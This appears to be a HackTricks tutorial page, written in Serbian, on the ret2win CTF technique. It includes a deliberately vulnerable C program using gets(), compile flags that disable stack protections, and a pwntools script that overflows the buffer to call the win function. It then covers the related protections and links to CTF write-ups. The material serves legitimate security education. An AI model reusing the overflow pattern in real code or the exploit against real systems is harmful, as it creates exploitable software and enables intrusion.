.. | ||
README.md | ||
ret2win-arm64.md |
Ret2win
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basic Information
Ret2win izazovi su popularna kategorija u Capture The Flag (CTF) takmičenjima, posebno u zadacima koji uključuju binary exploitation. Cilj je iskoristiti ranjivost u datom binarnom fajlu da se izvrši određena, neinvokovana funkcija unutar binarnog fajla, često nazvana nešto poput win
, flag
, itd. Ova funkcija, kada se izvrši, obično ispisuje zastavicu ili poruku o uspehu. Izazov obično uključuje prepisivanje povratne adrese na steku kako bi se preusmerio tok izvršenja na željenu funkciju. Evo detaljnijeg objašnjenja sa primerima:
C Example
Razmotrite jednostavan C program sa ranjivošću i win
funkcijom koju nameravamo da pozovemo:
#include <stdio.h>
#include <string.h>
void win() {
printf("Congratulations! You've called the win function.\n");
}
void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}
int main() {
vulnerable_function();
return 0;
}
Da biste kompajlirali ovaj program bez zaštite steka i sa ASLR onemogućenim, možete koristiti sledeću komandu:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-m32
: Kompajlirajte program kao 32-bitni binarni fajl (ovo je opcionalno, ali uobičajeno u CTF izazovima).-fno-stack-protector
: Onemogućite zaštitu od prelivanja steka.-z execstack
: Dozvolite izvršavanje koda na steku.-no-pie
: Onemogućite poziciono nezavisne izvršne fajlove kako biste osigurali da se adresa funkcijewin
ne menja.-o vulnerable
: Imenovati izlazni fajlvulnerable
.
Python Exploit koristeći Pwntools
Za exploit, koristićemo pwntools, moćan CTF okvir za pisanje eksploitacija. Skripta za exploit će kreirati payload za prelivanje bafera i prepisivanje adrese povratka sa adresom funkcije win
.
from pwn import *
# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
# Find the address of the win function
win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary
# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr
# Send the payload
p.sendline(payload)
p.interactive()
Da biste pronašli adresu win
funkcije, možete koristiti gdb, objdump ili bilo koji drugi alat koji vam omogućava da pregledate binarne datoteke. Na primer, sa objdump
, mogli biste koristiti:
objdump -d vulnerable | grep win
Ova komanda će vam prikazati asembler funkcije win
, uključujući njenu početnu adresu.
Python skripta šalje pažljivo oblikovanu poruku koja, kada je obradi vulnerable_function
, preplavi bafer i prepisuje adresu povratka na steku sa adresom win
. Kada vulnerable_function
vrati, umesto da se vrati na main
ili izađe, skače na win
, i poruka se ispisuje.
Zaštite
- PIE treba da bude onemogućena kako bi adresa bila pouzdana tokom izvršavanja ili adresa na kojoj će funkcija biti smeštena neće uvek biti ista i biće vam potrebna neka leak da biste saznali gde je funkcija win učitana. U nekim slučajevima, kada funkcija koja uzrokuje prelivanje je
read
ili slična, možete izvršiti Delimično Prepisivanje od 1 ili 2 bajta da promenite adresu povratka na funkciju win. Zbog načina na koji ASLR funkcioniše, poslednja tri heksadecimalna nibbla nisu nasumična, tako da postoji 1/16 šanse (1 nibble) da dobijete ispravnu adresu povratka. - Stack Canaries takođe treba da budu onemogućene ili kompromitovana EIP adresa povratka nikada neće biti praćena.
Ostali primeri & Reference
- https://ir0nstone.gitbook.io/notes/types/stack/ret2win
- https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html
- 32bit, bez ASLR
- https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html
- 64 bita sa ASLR, sa leak-om adrese bin
- https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html
- 64 bita, bez ASLR
- https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html
- 32 bita, bez ASLR, dvostruko malo prelivanje, prvo da preplavi stek i poveća veličinu drugog prelivanja
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bita, relro, bez kanarinca, nx, bez pie, format string za prepisivanje adrese
fflush
sa funkcijom win (ret2win) - https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html
- 32 bita, nx, ništa drugo, delimično prepisivanje EIP (1Byte) da pozove funkciju win
- https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html
- 32 bita, nx, ništa drugo, delimično prepisivanje EIP (1Byte) da pozove funkciju win
- https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html
- Program samo validira poslednji bajt broja da proveri veličinu ulaza, stoga je moguće dodati bilo koju veličinu sve dok je poslednji bajt unutar dozvoljenog opsega. Tada, ulaz stvara prelivanje bafera koje se eksploatiše sa ret2win.
- https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/
- 64 bita, relro, bez kanarinca, nx, pie. Delimično prepisivanje da pozove funkciju win (ret2win)
- https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/
- arm64, PIE, daje PIE leak funkcija win je zapravo 2 funkcije tako da ROP gadget koji poziva 2 funkcije
- https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/
- ARM64, off-by-one da pozove funkciju win
ARM64 Primer
{% content-ref url="ret2win-arm64.md" %} ret2win-arm64.md {% endcontent-ref %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.